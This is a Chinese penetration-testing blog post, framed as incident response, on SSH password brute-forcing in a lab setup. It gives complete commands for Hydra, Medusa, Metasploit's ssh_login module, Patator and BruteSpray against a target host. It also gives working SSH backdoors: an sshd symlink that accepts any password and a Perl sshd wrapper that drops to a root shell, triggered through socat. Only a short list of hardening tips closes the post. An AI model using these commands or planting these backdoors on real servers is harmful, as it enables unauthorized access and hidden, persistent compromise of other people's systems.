应急响应之SSH暴力破解 – 作者:你伤不到我哒

SSH简介

     Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。SSH通过在网络中创建安全隧道来实现SSH客户端与服务器之间的连接。任何网络服务都可以通过SSH实现安全传输,SSH最常见的用途是远程登录系统,人们通常利用SSH来传输命令行界面和远程执行命令。SSH使用频率最高的场合是类Unix系统,但是Windows操作系统也能有限度地使用SSH。Windows 10 1809版本已提供OpenSSH工具。

SSH暴力破解

     SSH口令长度太短或者复杂度不够,如仅包含数字,或仅包含字母等,容易被攻击者破解。一旦被攻击者获取,可用来直接登录系统,控制服务器所有权限。今天说的主要是通过指定用户名来爆破密码,当然还有通过指定密码,加载用户名来爆破SSH,这是比较少用的一种方式。

     现在安装了一台靶机和攻击机作为演示使用,靶机使用的Ubuntu系统,IP地址是192.168.92.132,攻击机使用的Kali Linux 2020,IP地址192.168.92.128。众所周知Kali集成了很多的渗透测试工具,用起来比较方便。

爆破方式

    首先使用kali自带的nmap扫描目标靶机

    nmap -sV -p- 192.168.92.132

image.png

    可以看到靶机开放了22端口,启用了SSH服务,假设我们已经知道存在test账户,接下来对其进行密码破解。

1、Hydra

    第一个使用到的工具是hydra,中文名九头蛇(脑补电梯里美队在光头耳边:hail hydra)。它是一款爆破神器,可以对多种服务的账号和密码进行爆破,包括Web登录、数据库、SSH、FTP等服务,支持Linux、Windows、Mac平台安装,其中Kali Linux中自带Hydra。

    使用方法:hydra -l test -P /home/test/桌面/TOP1000.txt -t 6 -vV 192.168.92.132 ssh

    -l 为要进行密码爆破的目标主机用户名 -P为指定字典的绝对路径

    -t 为指定爆破线程

image.png

2、Medusa

    Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),NNTP, PcAnywhere, POP3, PostgreSQL, rexec, rlogin, rsh, SMB, SMTP, SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC的密码爆破工具。跟hydra一样也可以用来爆破SSH,不同的是medusa 的稳定性相较于 hydra 要好很多。但是也有缺陷。它的支持模块要比 hydra 少很多,也不支持 rdp 服务协议。同时,它的表单破解也存在着问题。但是不论什么工具,我们都应取其精华,善于利用。

    可以使用medusa -d来查看其所支持的模块

image.png

    接下来使用它进行SSH密码爆破

    medusa -M ssh -h 192.168.92.132 -u test -P /home/test/桌面/TOP1000.txt

    -M: 表示要破解的类型  -h:目标靶机地址  -u:用户名  -P:字典地址

image.png3Metasploit

    Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具,同时也可以用来破解SSH密码。

    首先启动控制台

    在kali中打开命令窗口,输入msfconsole回车

image.png

    使用模板     use auxiliary/scanner/ssh/ssh_login  

    设置靶机地址     set rhosts 192.168.92.132

    设置用户名     set username test

    设置字典路径     set pass_file

    设置爆破线程     set threads 5

    查看设置完成后的效果     show options

image.png

     运行后耐心等待就可以了 

     run

image.png    与hydra和medusa不同,Metasploit不会显示跑字典的过程,只显示最终爆破密码成功时的结果。

4、Patator

    Patator是一款全能暴力破解测试工具,采用模块化设计并具有灵活的可用性。值得一提的是在kali中没有自带的,需要手动下载安装。

    git clone https://github.com/lanjelot/patator.git

    cd patator

    python setup.py install

    使用./patator.py module –help查看帮助信息

image.png

    可以看到patator的功能还是很强大的。

    使用命令爆破SSH密码

    ./patator.py ssh_login host=192.168.92.132 user=test password=FILE0 0=/home/test/桌面/TOP1000.txt

image.png

    此外,patator还可以用来破解多用户密码。将用户名字典保存在txt文档中,使用

    ./patator.py ssh_login host=192.168.92.132 user=FILE1 1=/home/test/桌面/user.txt password=FILE0 0=/home/test/桌面/TOP1000.txt

image.png     因为时间关系并没有跑完全部字典,这里只截了开头的部分。

5、BrutesPray

    BruteSpray是一款基于nmap扫描输出的gnmap/XML文件,自动调用Medusa对服务进行爆破,声称速度比hydra快。BruteSpray调用medusa,其说明中声称支持ssh、ftp、telnet、vnc、mssql、mysql、postgresql、rsh、imap、nntp、pcanywhere、pop3、rexec、rlogin、smbnt、smtp、svn和vmauthd协议账号暴力破解。

    官方项目地址: https://github.com/x90skysn3k/brutespray

    BruteSpray默认没有集成到kali Linux中,需要手动安装,有的需要先在kali中执行更新,apt-get update 后才能执行安装命令:

    Sudo apt-get install brutespray

    安装完成后在/usr/bin/目录下,进入目录后右键选择-在此打开终端

image.png

    命令窗口输入brutespray -h查看帮助文档

image.png

    使用方法:首先对相应网段进行扫描,然后生成对应的XML格式扫描结果文件

    nmap -v 192.168.92.0/24 -oX nmap.xml

image.png

    然后在brutespray中可以使用交互模式破解

    brutespray –file nmap.xml –i

    这里为了节省时间,我选择了指定用户名和ssh服务进行爆破

    brutespray -f /home/jhc/nmap.xml -u test –service ssh

image.png

     brutepray基于nmap扫描结果来进行暴力破解,对于内网破解效果较好。

     由上可以看出,几种工具都是通过加载字典进行暴力穷举,所以平时积累一些好用的字典是非常关键的。现在只介绍了如何在指定用户名的情况下去破解密码,也可以指定密码爆破用户名,跟爆破密码的用法大同小异,这里就不再描述了。另外这些工具的功能都十分强大,作用不仅局限于爆破SSH密码,有兴趣的可以对其他功能探索一下。

SSH后门

    除了暴力破解密码之外,还有一种使用SSH后门登录目标系统,在这里简单介绍一下。

 1. 软连接后门

     ln -sf /usr/sbin/sshd /tmp/su; /tmp/su-oPort=33223

     经典后门使用ssh [email protected] -p 33223直接对sshd建立软连接,之后用任意密码登录即可。

     但这隐蔽性很弱,一般的的防护脚本可扫描到。

 2.SSH Server wrapper后门

 (1)复制sshd到bin目录

          cd /usr/sbin

          mv sshd ../bin

 (2)编辑sshd

          vi sshd //加入以下内容并保存

          #!/usr/bin/perl

          exec”/bin/sh”if(getpeername(STDIN)=~/^..LF/);

          exec{“/usr/bin/sshd”}”/usr/sbin/sshd”,@ARGV;

 (3)修改权限

         chmod 755 sshd

 (4)使用socat

         socat STDIOTCP4:target_ip:22,sourceport=19526

         如果没有安装socat需要进行安装并编译

         wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz

         tar -zxvf socat-1.7.3.2.tar.gz

         cd socat-1.7.3.2

         ./configure

         make

         make install

(5)使用ssh root@ target_ip即可免密码登录

3.ssh公钥免密

     将本地计算机生成公私钥,将公钥文件复制到需要连接的服务器上的~/.ssh/authorized_keys文件,并设置相应的权限,即可免密码登录服务器。

     chmod 600 ~/.ssh/authorized_keys

     chmod 700 ~/.ssh

SSH暴力破解防范

     SSH暴力破解现在非常流行,如何保护服务器不受暴力破解攻击,大致有以下几个方法:

     1、针对暴力穷举,可以使用SSH密钥,禁用口令认证。如果不能做到这一点,提升密码长度,扩展密码复杂度,务必使用复杂不易破解的密码,定期更换密码这些手段。

     2、登陆IP白名单。

     3、登录用户名白名单。

     4、更改服务器ssh端口。

     5、使用snort、ossec等开源的入侵检测设备保护服务器。


参考资料:

面对SSH暴力破解,给你支个招_运维_OpenInfra的博客-CSDN博客

https://blog.csdn.net/openinfra/article/details/88872989

SSH暴力破解_运维_hery186的专栏-CSDN博客

https://blog.csdn.net/lhq186/article/details/91382894

关于linux中SSH爆破总结 – 不靠谱的谱 – 博客园

https://www.cnblogs.com/NBeveryday/p/8286957.html

关注我们

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:

ewm.png

来源:freebuf.com 2020-03-26 11:45:49 by: 你伤不到我哒

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论